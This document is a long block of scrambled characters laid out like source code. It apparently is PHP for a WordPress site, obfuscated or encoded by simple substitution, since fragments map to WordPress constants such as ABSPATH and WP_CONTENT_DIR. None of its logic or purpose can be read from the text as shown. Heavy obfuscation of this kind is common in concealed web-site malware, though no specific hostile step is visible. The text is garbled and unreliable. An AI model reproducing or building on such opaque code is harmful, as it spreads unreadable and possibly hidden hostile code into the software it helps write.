Te	OG/WZ XG^V[]FGKZ\_XCOOK]	_YFOOOOONRROOOOV[^_G^W^^FGK]	_YFFOeO/WZ XGXVXFGKZ\_XFTeOO
TeeeOOOOOOeOOOOOO/WZ XG^Z]FGKZ\_XCOOK	Y^Z^FTeOOOO	OOOOOGN/WZ XG^WWFGKZ\_XCOK[	0XYFFOeOOOOO/_GXVXFGKZ\_XFTeee
TeOOOOeOOOOO	OGKV
XFOOO/]X_	G]]FGK[	0XYCOKV
XFTeOO	OOGV[^_G^V\[FGWZ XG^Z\FFFOO/ 
0
GK[	0XYCO
FTeeOOO	 OO_0VW
	]]GKV_	^XFeeeOOOe	OOOGN]X_	G^V\YFGKV_	^XFFOO
OOMMTeOOOOO	OGV[^_G^W^\FGWZ XG^V[\FCOOOOKV_	^XCOOOOOOK0VW0FFOeK[V0
YVOOROK0VW04^2TeeOOKZ	0OOOOROOOO/_G^WXVFGK[V0
YVFOOOPOO/WZ XG^V\^FGK[V0
YVFOUOOOO_TeOOOOOO	OOGNKZ	0OOOOKZ	0OSOOG\_VD^V^FOOKZ	0OQOOOG__
	]D_][	^[_
FFOOOOOOeOOOOOO	OOGKZ	0OQOOOOG_^__[[YD_]^	]FFOOeKW
OOOOOROO/_G^XXZFGK[V0
YVFTeOOOOOOO	OOGN_G^V\YFGKW
FFOOOKW
OOROK[V0
YVTeOOKW
OOOOROO]X_	G^[_^FGH33HCOOOOH@HCOOKW
FTeOK W_0^VOOROOO	
TeOOK]OOROOOG
	
GV[^_G^W]XFFOOOPOO]X_	G^V[[FG.-<?.;'COOWZ XG^V[ZFFOUOOOOMMCOOO
	
G_G^V[YFFOOOPOOOOOV[^_G^V[XFG8?0, !;*!;0+&=COOOOOWZ XG^V[ZFFOUOOOOMMFTe	 
OOOOGK]OOOOOKX[XFOeKX[XOROOOV[^_G^[_^FGH33HCOH@HCOKX[XFTeOOOO	OOGKX[XOOOONRROOMMOOIIOOO_G^V[WFGKW
COKX[XOOAOOOH@HFOOOORRROO_FOOeK W_0^VOOROOOOO
Te
TeOOeOOe	OOGK W_0^VOIIO
^^XWGK[V0
YVFOOOONRROO	
FOOOe/WZ XGXVXFGK[V0
YVFTeOOOOO/V[^_GXVXFGWZ XG^\]^FGK[V0
YVFOOAOOOOOOWZ XG^V]FOOOAOOO]X_	G^WVVFGK[V0
YVCOOOV[^_G^V[VFFFTeOOOOOOOOOOO

OOOOOeOOOZ[^YZZG]X_	G^V\]FCOOV[^_G^VZ_FOAOOV[^_G^WVVFGK[V0
YVFFTeeOeeOOOOOeOOOOOO
OOOOMMTeeOOeOOOOOO
OOKV_	^XTeOe	 OOOZ	_ GFeeOeOOOOOOOK[V0
YVOOOROTeO	OOGK[V0
YVOORRROFOOOOeKYY[][OOROOOOO^[_VZ][GFTeK[V0
YVOOOROOOGWZ XG^VZ^FGKYY[][FOIIO
GKYY[][4_GY\]F2FOOOIIOOOO]X_	G^VZ]FGGFOOOKYY[][4]X_	G^VZ\F2CO_G^VZ[FFOOOORRRO_FTee
OOOK[V0
YVTeOOOOeeOO	 OO_0^_0W
YY0GFee	OGN
	
G_G^W]XFFFOOOOO
TeOOK^\V__OOROOO.-<?.;'OOAOO]X_	GZW^FTeOOO	OOOOOOGN/_G^VZZFGK^\V__FFOOeeK	_ 	]OOOROOOV[^_G^VZYFG.-<?.;'FOOOOAOOOOOV[^_G^\^VFTeOOOO	OOG/_G^VZXFGK	_ 	]FFOOK^\V__OROOOOOOK	_ 	]TeOOeOOOO	OOGN/V[^_G^VZWFGK^\V__FOOOOOON/]X_	G^YX_FGK^\V__FFO
TeKW
OOOROO/WZ XG^VZVFGK^\V__FTeOO	OGWZ XG^V\YFGKW
FOOOOIIOOKW
OOOONRROOMMOIIO/]X_	G^YX_FGKW
FFOOOOOK^\V__OOOOOROKW
TeeeeOOOOO	OOOG/WZ XG^V\^FGK^\V__FOOOQOOOOG_
WWD_\\^XXZFFOO
TeOOOOOK
0_\0[OOROOO/]X_	G^V\ZFGK^\V__FTeO	OGNWZ XG^V\YFGK
0_\0[FOOOOK
0_\0[ORRROOMMFO
TeOOKZ
[ZOOOROOG]X_	G^VZ]FGK
0_\0[COOWZ XG^VY_FFOOOONRROOO	
OOOOOOV[^_G^VZ]FGK
0_\0[COWZ XG^VY^FFOOOONRRO	
FTeeeOOOK
 OROO	
TeOOOOOOOO	OOGWZ XG^VY]FGK
0_\0[COOOO]X_	G^VY\FFOORRROO	
FOOOeOOOO	OGN
GK(# -.#<4_G[]F2FFOOOOOOeOK
 OOOROO
TeOOOOOOO

OeOOOOK
XWOROOV[^_G^V\[FGWZ XGW[XFFOOPO_GW[XFGFOOOOUO]X_	G\_FTeOO	OOGN/]X_	G^VY[FGK
XWFOOOOOOOON/_G^VYZFGK
XWFFOK
 OOOROOOOO
TeOOeeeeeOOOK]	0XW
OOROOOOOO	
TeOKZ^YOOROOOO	
Te	OOOGN_G^VYYFG_G^VYXFCOOOK
0_\0[FOOIIO
	
G]X_	G^V[YFFFOOeOK0OROOO8?0, !;*!;0+&=OOOOOAOO]X_	GZZ\FTeeeOOOOOOO	OOOOOG/_G^VYWFGK0FFOOeOK	V0 _OOROGFOO/V[^_G^VYVFGK0COO	
COOCOOOO_COOGXZ[_B\[[[FFTeO	OOOOG_G^VX_FGK	V0 _COV[^_G^VX^FFOOONRROOOOO	
FOOK]	0XW
OOROOOO
TeeOOOOO

	OOOOGeV[^_G^VX_FGK
0_\0[COOOOO_GZW]FFORRRO	
eOOOIIOOOOO]X_	G^VX]FGWZ XG^VX\FCOOOOK
0_\0[FeeeeOFOeKZ^YOOORO
TeeOOeOK^_^
_OOOROOO	
TeOOOO	OOOOGZ	_ GFFOOe	OOOOOGeONV[^_G^VX]FGWZ XG^VX[FCOOOK
0_\0[FeOOOONWZ XG^VXZFGV[^_G^VXYFCOK
0_\0[FeOON_G^VXZFGV[^_G^VXXFCOOK
0_\0[FeOFOOOK^_^
_ORO
TeeO	OOOOGNKZ
[ZOIIOOONK
 OOOOIIOONK]	0XW
OOOOIIOONK^_^
_OIIOOONKZ^YFOOOO
TeeOK
 OROMMTeeeeOOOK]	_YOOOOROOOOOOK
0_\0[TeO	OOGKZ
[ZFOOOeO	OOG_G^V]VFGWZ XG^VXWFCOOK
0_\0[COOOOK
W]	FFOK
 OAROOWZ XG\Y[FGM3MCOOOK
W]	4_2FTeOOOK]	_YOOOROOOV[^_G^V\XFG]X_	G^VXWFCOOOOMMCOOOOK
0_\0[FTe	OOOGNWZ XG^V\YFGK]	_YFFO
TeOOOOOOOO	OOOG]X_	G^VXVFG]X_	G^VW_FCOOOK]	_YCOOK]
X_FFOOOOOOK
 OOOOOOAROM3MOOAOOOV[^_G\Y[FGM3MCOK]
X_4_2FTeOK]	_YOOOOOOROV[^_G^VW^FG]X_	G^VW]FCOOMMCOK]	_YFTee	OOOOGN_G^VW\FGK]	_YFFO
TeOOOOOeeeO	OOOGK
 OIIOOOOWZ XG^VXZFG]X_	G^VW[FCOOOOK]	_YFFOOOOOOeK]	_YOOROOOOO]X_	G^VWZFGV[^_G^VWYFCO]X_	G^VWXFOOOAOOOOM
	
GOH8?0;*"?0+&=HCOGO
	
GOH8?0, !;*!;0+&=HOFOPO8?0, !;*!;0+&=OUO.-<?.;'OAOHB 
HOFOAOH@A0HOFT3MCOOOOOOK]	_YCO^FTeOOOO	OOOOOGNWZ XG^VW\FGK]	_YFFOO
TeOOOe	OGK]	0XW
OIIOOOWZ XG^VXZFGV[^_G^VWWFCOOK]	_YFFOOOOeK]	_YOOROOOO_G^VWZFGV[^_G^VWYFCOOO_G^VWVFOAOOOOOM
	
GOH8?0,.,'*HCO
OFTO@EO<,08,OE@3MCOOOK]	_YCOOOO^FTeO	OOOGNWZ XG^VV_FGK]	_YFFOOO
TeOOOOO

	OOGKZ^YFOeOOOOOK]	_YORO_G^VV^FG]X_	G^VV]FCO_G^VV\FOOAOOM
	
GOH8?0,.,'*HCO
OFTO@EO<,08,OE@3MCOOK]	_YCOOO^FTeOOOOO	OOOGN]X_	G^VV[FGK]	_YFFO
TeOOe	OOOOOOGK^_^
_FOOeeeeOOOOOK]	_YOROO]X_	G^VVZFG_G^VVYFCOOOOMMCOK]	_YFTeO	OGN]X_	G^VV[FGK]	_YFFO
TeOO	OOG_G^VVXFG_G^VWYFCOOK]	_YFFOOeeeOOOK]	_YORO_G^VVZFG_G^VWYFCOOOOOO]X_	G^VVWFOAOOOOOOM
	
GOH8?0+*-:(HCO
OFT3
	
GOH8?0+*-:(0# (HCO
OFT3
	
GOH8?0+*-:(0+&<?#.6HCO	
OFT3MCOOOK]	_YCOOOO^FTeOOO	OOGNV[^_G^VV[FGK]	_YFFO
TeeeOeOOe	OOGK]	_YOOOORRROOK
0_\0[FOOOO
Te	OOGN
[X
 Z]Y
GK]	_YFFOOO
TeOOO	OOOOGK]	0XW
OIIOOOONV 
GK^\V__COOK
0_\0[FFOOeOOOOOOZ[^YZZG]X_	G^VVVFCO]X_	G^Y[[FFTeeeOK]	_YOOOOOOROOOO]X_	G^VVZFGV[^_G]___FCOOOOOV[^_G^VVWFCOOK]	_YCOO^FTeOOOOOO	OOOGN]X_	G^VV[FGK]	_YFOOOOOK]	_YORRROOOOOOK
0_\0[FOOO
TeOO	OGN
[X
 Z]Y
GK]	_YFFOO
TeeOOK	Y^Z^OOROOOO/	

GK^\V__FTeOOK	Y^Z^OROGK	Y^Z^OORRROO	
FOOOOPOOG\XWD[]FOOUOOGK	Y^Z^OOIOOOG_D_^Z]FFTeeeeKV
XOROOOOO/WZ XG^XY]FGK^\V__FTeOOOOKZ\_XOOOOROO/V[^_G]WFGWZ XG^VZYFGK^\V__FCOOV[^_G]__^FFTeO	OGKZ\_XOOOORRROO	
FOOO
TeeOOOO	OG/]X_	G]__]FGKZ\_XCOK]	_YFOOOOONRROO]X_	G^W^^FGK]	_YFFOeOOOOOOOO/V[^_G]__\FGKZ\_XFTeO
TeOOeO/_G^Z]FGKZ\_XCOOK	Y^Z^FTeOOOOOOO	OOOGN/WZ XG^WWFGKZ\_XCOOOK^\V__FFOOOOOeOOOO/WZ XG]__\FGKZ\_XFTeO
TeOeOO	OOOGKV
XFOO/V[^_G]]FGK^\V__COKV
XFTeee	OOG_G^V\[FG]X_	G^Z\FFFO/ 
0
GK^\V__COO
FTeeOO	OOGV[^_G^VXVFGWZ XG]__[FCOOOK
 COOOKV[\\0	FFOOOOeOO	 
OOG]X_	G^]VWFGKV[\\0	4^2FOOOK ]	]0\FOOOOOeeeeOOOOO	OOGWZ XG]__ZFGK ]	]0\COOOOO_G]__YFFOOOOORRROO_OOIIO/V[^_G^VYWFGK ]	]0\FFOOO/WZ XG]__\FGK ]	]0\FTeeOeeeOO	OOOOOGV[^_G]__XFGWZ XGV_^FFOOOOOOIIOOOWZ XG^VXVFG]X_	G]__WFCOOOK
 COK^][FFOOOeOOOO	 
OGV[^_G]__VFGK^][4^2FOOOOOOK^	 \VFOOOeOO	OOG]X_	G]_^_FGV[^_G]_^^FCOK^	 \VFFO/


0  GK^	 \VFTeOeOOOeOOOOOeOOO	 OOOOOW\Z][GFeOOOOOOeOOO	OOOOGN
	
GV[^_G]_^]FFFO
TeOK\	0^]WOOOROOOOOO
	
GV[^_GY[_FFOOOPOOOO8?":0?#:(&!0+&=OUO8?0, !;*!;0+&=OOOOAOV[^_G^YYVFTeOOK V[\\	OOOOROOOOOOGFTeO	OOOOG_G]__XFG]X_	GVZ[FFFOOOOOOeO	OOOG/]X_	G^VY[FGK\	0^]WFFO	 
OOGGFOOOO/]X_	GVZ[FGK\	0^]WOAOWZ XGY[\FFOOOOOKZYZFOOK V[\\	42OOROOKZYZTeO	OG
	
G_G]_^\FFOOOOIIO/_G]_^[FG8?0?#:(&!0+&=FFO	 
OOGGFOO/WZ XGVZ[FG8?0?#:(&!0+&=OOAOOO_G[V[FFOOOOOOOKZYZFOOOOK V[\\	42OROOKZYZTeOeOOOOOOOK	WVV[0OOOROOOO
	
GWZ XG^W]XFFOOOPO.-<?.;'OOUOOOMMTeOOK ]WVXOOOOROO8?0, !;*!;0+&=OOOOOAOOOV[^_G[ZFOOOAO_G]_^ZFG]X_	G^W\_FGK	WVV[0OOAOOOO_G]_^YFFCO_COOGW[1V]FFOAOO]X_	G[WFOOOAOOV[^_G]_^ZFG_G^W\_FGK	WVV[0OOOOAOOOO_G]_^XFFCOOOO_COOOOG_[D_[FFOOAOOOWZ XG]_^WFTeeee	OOOOG/]X_	G^VYWFGK ]WVXFFOOOOK V[\\	42OOOROK ]WVXTeO	 
OOOOOGK V[\\	OOOOOOKZYZFOOOOOeOKV
XOORO/]X_	G^XY]FGKZYZFTeOO	OGNKV
XOOOOGKV
XOOOJOOOOOOGVVV^YDW[FFOONRROG_^_W		D_YZXFFOOOeK]^
\ X0OOORO/]X_	G]_^VFGKZYZFTeeeeO	OGNK]^
\ X0OOOOOOK]^
\ X0OOSOG[^ZDWZFOOOK]^
\ X0OOQOG_^
XZY]D_^\WZV
FFOOO 
TeOOOOOeKW
OOOOOOROOOO/V[^_G^VZVFGKZYZFTeOOOOOOKYZ0OORO/WZ XG^VZVFG []]^
 XGFFTeO	OGWZ XG^VV[FGKW
FOIIOOWZ XG^VV[FGKYZ0FOOOIIOOKW
ORRROOKYZ0FOOO 
TeOOKXV\W_0\
XOOOROOOO/_G]_]_FGKZYZCOOOO	
COOOCOOOO_COOOOOG\_]ZD^_X^FFTe	OOGNWZ XG^VV[FGKXV\W_0\
XFOOOOV[^_G]__ZFGKXV\W_0\
XCOV[^_G^V]WFFOOOORRRO	
FOOOO 
Te	OOGNWZ XG]_^_FG_GXZFCOOKXV\W_0\
XCOOOKV	0 ^
FFOOO 
TeOOOO	OGN
 0 
GKV	0 ^
4^2COV	_00YGFCOOOOHSHFFOO 
TeOOOOOOOKWWXV 	XOOOOROO
^^XWGKZYZFTeO	OOOGKWWXV 	XORRROOO	
FOOOeOOOOZ[^YZZGV[^_G^V\]FCOOOOOV[^_G]_]^FOOOOAOOOO]X_	G^WVVFGKZYZFFTeOOO 
TeOOeO	OOGKWWXV 	XOORRROO
FOOeOOO	OG 	[Y\]^ZGKZYZCOOKZYZOAO_G^WXFFFOOOOeOOOOOO	OGWZ XG]_]]FG]X_	G]_]\FFFOOOOOO/ 
0
GKZYZCOOO
FTeOOOOe/]X_	G]__\FG]X_	G]_][FGKZYZFOOAOWZ XG^V]FOOOOAOO]X_	G]_]ZFGKZYZCOOOOO]X_	G]_^WFFFTeOOOOOOOO 
TeOOOOeO/_G]__\FGKZYZFTeOOOO/_G]__\FG]X_	G]_][FGKZYZFOAOOOOOOV[^_G^V]FOAOO]X_	G]_]ZFGKZYZCO]X_	G]_^WFFFTeO	OOOOOG_G]_]]FG]X_	G]_]YFFFOO/ 
0
GKZYZCO
FTeOeO_0^_0W
YY0GFTeOKX]^__	VOOOOORO8?0, !;*!;0+&=OOAOOV[^_G^]YVFTeO	OOOOOG/WZ XG]_^[FGKX]^__	VFOOOOIIOOO]X_	G]_]]FG_GVZ[FFFOOOOOeOOOOOOO	 
OOGGFO/V[^_GVZ[FGKX]^__	VOOOAOOWZ XG]_]XFFOOOOK
\W_\\ZV]FOOeOOO	OOGN/WZ XG^VYWFGK
\W_\\ZV]FOOOOON/WZ XG]_]WFGK
\W_\\ZV]FFOOO 
TeOOOOKV
 [_W
 	OROO/V[^_G]_^VFGK
\W_\\ZV]FTeOO	OOGNKV
 [_W
 	OOKV
 [_W
 	OOQOOOOG]_VX^[YDYFFOOOO 
TeOKW0Z^XOROOOOOO/_G]_]_FGK
\W_\\ZV]FTeeOOO	OOOOGN]X_	G]_]VFGKW0Z^XFFO 
Te	OOGWZ XG]__ZFGKW0Z^XCO_G]_\_FFOORRROOOOO	
OOOOOIIOOOV[^_G]__ZFGKW0Z^XCOOO_G]_\^FFORRRO	
OOIIO_G]_\]FGKW0Z^XCOOOOOV[^_G]_\\FFORRROO	
FO 
TeOOO	OOGNY_^^ZXGKW0Z^XFFOOO 
TeOK	0Z[	OROO	 ZGKW0Z^XFTeO	OOOOOG]X_	G]_]VFGK	0Z[	FOOOIIOOOK	0Z[	ONRROOOKW0Z^XFOeeOO]ZVGK
\W_\\ZV]COK	0Z[	FTe	OOOG_G]_]]FGWZ XG]_]YFFFO/ 
0
GK
\W_\\ZV]CO
FTeeOOOOOOeOOeOe _X^ G8?0, !;*!;0+&=OOOAOO]X_	GZZ\FFTeeeOO _X^ G8?0, !;*!;0+&=OOAOOOOV[^_GZZZFFTeOOO	OOGV[^_G]_\[FG]X_	G^WW_FFOIIO_G]_\[FG]X_	GV_^FFOOOIIOOOOWZ XG]_\[FG]X_	G]_\ZFFFOOeK0 OOROOW
W\0]G.-<?.;'OOAOV[^_G]_\YFCOOOGXD\FFTeOOOK0	0X	OROO/
0  GK0 COOMMFTe	OOGWZ XG]_\XFGK0	0X	FOOOIIOOOOOOK0	0X	ONRROOOOOMMFOOOOeOK^\_
WOOOOROO]X_	G\W[FGK0	0X	COOO
FTe	OOGWZ XG]_\XFGK^\_
WFOOOOOIIOOOOOOV[[0
GK^\_
WFFO/


0  GK0 FTeeeeOeK_[ZOOOROOOV[^_G]_\[FG]X_	G]_\WFFOPO
V[[
0[G]X_	G^YW[FCOMMFOOUOOOOOMMTeO	OGV[^_G]_\XFGK_[ZFOOOIIOOOOOOK_[ZOOOONRROOOOMMOIIOGWZ XG^W^^FGK_[ZFOOOQOOOOOG^^^YX_YBYW^\_FOOOOOOOOGV[^_G]_\VFG_G]_[_FFOOIIOO ^Y\^X_WGK_[ZFFOOOO	W[Y\	
ZY[WGK_[ZFFFOeOOOOOOO	OOOG_G]_[^FG_G]_[]FFFOO	\_\YG_G^YW[FCOMMCO]X_	G]_[\FFTeeeOOOeOOeOOOOOeeeeOOO	 OO[VZ^_
GFeeOOOOOeOOOOOeO	OOOOGN
	
G_G^W]XFFFOO
TeOO	OOGN
GK(# -.#<4V[^_G]_[[F2FFOeOOK(# -.#<4V[^_G]_[[F2OROO_TeOZ[^YZZGWZ XG]_[ZFCO_G]_[YFFTeOOOOOe	OOGN
GK(# -.#<4V[^_GXV[F2FFOOO
TeOOOK(# -.#<4V[^_G]_[XF2OROOOOO
Te	OOOGN
GK0(*;4_G^W\VF2FOOOOOIIOV[^_G]_[^FGWZ XG^WW_FFOOIIO]X_	G]_[^FGWZ XG^WYWFFFOOeK]X
^OOROOOO/
0  G_G^V^XFCOGFFTeOOOK]	[		
OOOROOOOO	
TeO	OOGV[^_G]_[WFGK]X
^FFOOeOO	OOOOOGN
GK]X
^4HH2FOIIOV[^_G^V^]FGFOBOOGFOOK]X
^4WZ XG]_[VF2OSOOOOOG_YVD_\	FFOOK]	[		
OORO
TeOOOOO	OOOOGNK]	[		
OOOOOIIOON
GK]X
^4]X_	G^V^_F2FOIIOV[^_G]_[WFGK]X
^4_G]_Z_F2FFOOOeeeO	 
OGK]X
^4]X_	G]_Z^F2OOOOK0FOOOOe	OOOGV[^_G]_[WFGK0FOIIOOOO]X_	G^V^]FGFOOOBOGFOK04]X_	G]_[VF2OSOOG_\
D_YFFOOOOeOOOOOOK]	[		
OROO
TeOOOO
TeOOOOeOOOOOeeeeOeOOOO	OOGK]	[		
FOOOWZ XG^WYWFGWZ XG]_Z]FFTeeO	OGY]Y^
G []]^
 XGFFFOOO
TeOOOOW\Z][GFTeeeeOOO0]]
G []]^
 XGFCOV	_00YGFFTeOOO	OOGN	0[[X	\
GFFOOeOW]V0\
0VGFTeOOOO]X_YGFTeeOOOOO
TeeOOOeOOOOOOK	Z V^OOOROO\\^WVV_	GFTeOOK	_OROOOGeO []]^
 XGFCeOOK	Z V^OOOAOOWZ XGZZZFCeOFTeOKX
OOOOOROOOX^]W\	[YVGFTeO	 
OOOOOGKX
OOOOKW	 FOeOOOOO	OOOG/V[^_G^VYWFGKW	 FFOK	_42OOOROKW	 TeeOOK\	
OROOOOOGFTeO	OOG[\0WV0	GFFOOeOOOOOOOOK	X[WX 	OOOOROOOOOW
W\0]G.-<?.;'OOOAOOOWZ XG]_Z\FCOOOOOG_[D_[FFOOOOOAOOWZ XG]_^WFTeK\	
4WZ XG]_Z[FOOAO.-<?.;'OAOOOOV[^_GZXYF2OOOROOOK	X[WX 	TeeOK\	
4_G]_ZZFOOAOOK	Z V^OAOOOOOV[^_G^[XXF2OOROOOOK	X[WX 	TeeOK[V]_ VOOROOO_G]_[^FG_G^[X_FFOOOOOOPOOOOO/WZ XG^[X_FG_GZYVFFOOOOOUO	
Te	OOOOGV[^_G]_\XFGK[V]_ VFOOOOOIIOOK[V]_ VOONRROOMMFOeOOOOK0Y 	OOROOGFOOO
0  GV[^_G^[]^FCOOOO_FTeOO	OOGNK0Y 	OOO]X_	G]_ZYFGFOOBOOOK0Y 	OOQROOGWY\V\DXFFOeOKX[0[XWOROOW
W\0]G.-<?.;'OOOAOOOOOOWZ XG]_ZXFCOGYD]FFOOOAOWZ XG]_^WFTeeeOOK\	
4V[^_G]_ZZFOOOAOOO_G^V[XFG.-<?.;'COO]X_	G^V[ZFFOAOOH@HOOOOAOOK[V]_ V2OOOROOOOKX[0[XWTeOOOOK\	
4]X_	G]_ZWFOOAOOK	Z V^OOOAOOOOH@HOOOOAOOK[V]_ V2OOROKX[0[XWTeOeeeOOOOOeeOOK0 W]	\ORO
[[]Y
^Z
0WWXWGFTeO	OOOG/WZ XG^VYWFGK0 W]	\4^2FFOOOOOK\	
4V[^_G]_ZWFOAOOK0 W]	\4_22OOROOOOOV[^_G^ZX_FOOAOOOOOK0 W]	\4]2TeOKX\0 \OOORO/
0  G_G]_ZVFCOOGFFTe	OOOGNV[^_G]_[WFGKX\0 \FFOOOOOKX\0 \OROGFTeOOOOOK	[W]ZYOOOOOORO	
TeOOOOO	 
OGK	_OOOOOOK
]0V	W[FOeOK
Y]^^[^OOROOOOO/V[^_G]_Y_FGK
]0V	W[FTeOOOKX	V]\
OOOROK
Y]^^[^OOOOOPOGK
Y]^^[^4WZ XG]_Y^F2OOAOOOHHOAOK
Y]^^[^4_G]_Y]F2FOOUOH_HTeK__V[^OOOORO
GKX\0 \4K
]0V	W[2FOPOOOKX\0 \4K
]0V	W[2OUOOOOMMTeeeeO	OOGKX	V]\
OOOOOORRROOOK__V[^FOOO 
TeO	OOOOG]X_	G]_^_FG]X_	G]_Y\FCOK__V[^COOK Z0W
\_FOIIOOOOWZ XG]_Y[FGK__V[^COOO_COOOB_G]_YZFGK Z0W
\_4_2FFOORRROKX	V]\
OIIOOOV[^_G]_YYFGFOBOOOOGFOOK Z0W
\_4^2OOOSOOOOOG[]ZWBYZWFFOO 
TeOOOK	[W]ZYOOOROOOO
Te
TeOOOOOeOOOOOOOO	OGNK	[W]ZYFOeee	 
OOOOGK\	
OOOOOOK
OOORQOOK[0[FOOeOOOOOKX	V]\
OOOROOZYY	^X[XG]X_	G]_Y[FGK
COOOOOG][1]VFFCOOK[0[FTeOOOOOOK__V[^OORO
GKX\0 \4K
2FOOOOOPOOOOKX\0 \4K
2OOOOUOOOOOMMTeOO	OOOGKX	V]\
OOOORRROOK__V[^FO 
TeeeOO	OOOGV[^_G]_^_FGWZ XG]_YXFCOOK__V[^COK Z0W
\_FOOOOOIIOOO]X_	G]_Y[FGK__V[^CO_COOOOBV[^_G]_YWFGK Z0W
\_4_2FFORRROOKX	V]\
OOOOOIIOOOOV[^_G]_YVFGFOOOBOGFOOOOOK Z0W
\_4^2OOOOSOGVY^\XBVX\XFFOOO 
TeOOOOOK	[W]ZYOOOROO
TeOOO
TeeOeOOK0^_	\ 0OORO]X_	G]_X_FG []]^
 XGFCO]X_	G]_X^FFTeOOOOKX   ^W_YZOROK	Z V^OAOOO_G]_X]FOOAOOK0^_	\ 0OOOOOOAOOOH@HOAOOOOK0^_	\ 0OOOAOWZ XG]_X^FTeOOKX XX_ \[OOOROOO^W_ 
0 YZGFTe	OGN/WZ XG^VYWFGKX   ^W_YZFOOOGFOOO/V[^_G]_^VFGKX   ^W_YZFOOOSOOG_V	_D_VVWFFOOOK	[W]ZYOROOOO
TeOOOO	OOGKX XX_ \[ONRROOMMOOIION/WZ XG^VYWFGKX XX_ \[FFOOK	[W]ZYOOOROOOOO
TeOOOOO	OOOOOOGNK	[W]ZYOOIIOWZ XG]_[^FGWZ XG^WW_FFFOOeK	XY ^OOOOROK0^_	\ 0OOOOOOAOOOH@HOAOOOOK0^_	\ 0OOAOV[^_G]_X\FTeeeOOOOOOOKW
\ZY[OOOROOOO
0  GV[^_GWZ^FCOGFFTeOO	OOOGN_G]_[WFGKW
\ZY[FOOOOOOOONV[^_G^]ZZFGK	XY ^COOOKW
\ZY[CO
FFOOOK	[W]ZYOROOO
TeOe	OOGNK	[W]ZYFOO
TeOOO	OOGN
]		VY ^Z\XGWZ XG^][]FFFOO
TeOOOOOOOeeOZ
GFTeOOOOX	[V	YGFTe]X_YGFTeO_
	]\]GFTeeeeOO\X[[GFTeW]V0\
0VGFTeO_XYZ0GFTeO	X^\^ _ZGFTeKV
[	YOOOOOROOX^VGFTeeOOOOOOK\
[\]OOROOOOO\0YW0 X GFTeK		W_XWOOOOOOROOOOGFTeOOOOO	 
OGK	_OOOOOOK
]0V	W[FOOOOeOOOOKXZYWY0^ZOROOOGK
]0V	W[OOORRROOOOK	Z V^OAOO]X_	GZZZFOOOOIIOOOONKV
[	YFOOOOOOG_G]_Y[FGK
]0V	W[COBG]]BWFFOOOORRRO]X_	G]_X[FOOIIOONK\
[\]FTeOOOOK
Y]^^[^OOOOOROOO/V[^_G]_Y_FGK
]0V	W[FTeOOO	OOGK
Y]^^[^FOOeeeK		W_XW4K
]0V	W[2OOOOROOOOK
Y]^^[^4WZ XG]_Y^F2OOOOAOHHOOAOK
Y]^^[^4_G]_Y]F2OOOAOOOGKXZYWY0^ZOOPOOOOWZ XG]_XZFOOAOOOOOV[^_G]_XYFGFOOUOOMMFTeOOOeeeeOOOOO	 
OOGK\	
OOOOOOOK
OORQOOOK[0[FOOOOOeOOOOOK_V	
OOOOOOROZYY	^X[XGV[^_G]_Y[FGK
COOOOG^D[FFCOOOK[0[FTe	OOOGK_V	
ORRROOOH_HOOOOOO]X_	G]_XXFGK_V	
COOOOOOB]FORRRO_G]_XWFFOK_V	
OARO]X_	G]_XZFOAOOV[^_G]_XYFGFTeOOOOOOK		W_XW4K
2OOOROK_V	
TeOOeOOOOOOO/
0  G_G]_ZVFCOK		W_XWCOOOOWZ XG]_[\FFTeOOOOOOOOOOOO	OOeOOOOOWY ]]V\0YGWZ XG^][]FFTeOOeOOOOOOOOOOG; 
OK]WFOOOeOOOOOOZ[^YZZG_G]_XVFCOK]WFTeOOOOOOOOOOG*
 OK]WFOOOeeOOeO	 OOZYY	^X[XGK
]0V	W[COOK[0[FeeOOK
Y]^^[^OROOOOO/WZ XG]_Y_FGK
]0V	W[FTeeeeO	OGNK
Y]^^[^FOOOO
OOH_HTeOOOOKX	V]\
OOROK
Y]^^[^4WZ XG]_W_F2OAOOOHHOOOOAOK
Y]^^[^4]X_	G]_Y]F2Te	OOGK
Y]^^[^4_G]_W_F2OQOOOG_X]WWVD_WXXXFFOOO
OOV[^_G]_W^FOAOOKX	V]\
TeOOOOOOOOK
0_\0[OOROOOO/]X_	G]_]_FGK
]0V	W[FTeeOOOOOOO
OOKX	V]\
OAOOHHOOOOAOOOGG_G]_\XFGK
0_\0[FOIIOOOOOV[^_G]_W]FGK
0_\0[COOOK[0[FOONRROO	
FOOOOPOOOOH^HOUOOH_HFTeeeOOO	 OOOOO^]W_GFeeOOK0OOOOOROO_G]_[^FGV[^_G^WW_FFOOPOO
0  GWZ XGXVVFCOOOMMFOOUOOOMMTeOX0V0[ZVGFTeOOOKY _VOOOOORO]X_	G]_[^FG]X_	G^WW_FFOOPOOO
0  G_GXVVFCOOOOMMFOUOOMMTeOO	OGKY _VORRROOK0FOOOO/


0  GWZ XGXVVFFTeOOOeOO	 OOOOX0V0[ZVGFeOeeeOOOOeOOOOO	OOGN
	
G]X_	G]_W\FFFOO
TeeOOOOK	Z V^OOOOOORO\\^WVV_	GFTeOOOOOOKY_ 

OOOROOOX[W	[X][		GFTeeOOK 
 OOOROOOW
W\0]G.-<?.;'OOOOAOOOOWZ XG^[]_FCOOG^]B[FFOOOAOWZ XG^\[VFTeOOOOOK_XZ	 OROW
W\0]G.-<?.;'OAO]X_	G]_Z\FCOGZD\FFOOAOOO]X_	G]_X\FTeOOOOK]][^
[ZZWOOROW
W\0]G.-<?.;'OOOAOV[^_G]_ZXFCOOGYD]FFOOOOOAOO]X_	G]_W[FTeeK\[Y[_^VY_OROOW
W\0]G.-<?.;'OOOAOOOOWZ XG^\VYFCOG[D[FFOAOOOV[^_G]_W[FTeOKY_0_OOOROOOW
W\0]G.-<?.;'OAOV[^_G^[^WFCOOG^SS\FFOOOOAOOOO_G]_WZFTeOK_^	]V\OORO_G]_WYFOOOOAOOOOW
W\0]G.-<?.;'OAOOOHHCOGXD^FFTeOOK []]Y OROOOOGeOOK	Z V^OOOAOOOO_GZZ\FOORQOOWZ XGVYZFCeOK	Z V^OOAOOOWZ XGZZZFOORQOOOOOO_GVY[FCeeeOOOOOFTeO	 
OOOOGK []]Y OOOK
]0V	W[OORQOK
	FOeOOOO	OOOOOGN/_G^VYWFGK
]0V	W[FFO 
TeOOK
0_\0[OOOOOROO/WZ XG]_]_FGK
]0V	W[FTeOOOOOO	OOGK
0_\0[OORRROOOO	
FOOOOO 
TeOOOK_	OOOOROOOOOWZ XGV\^FOOOAOK
	OOOOAOOWZ XG]_WXFOOOOOOAOOOOOOK
	OAOOO_GV\\FTeOOOK\
]0OROOOWZ XG^VVZFGK_	COOMMCOK
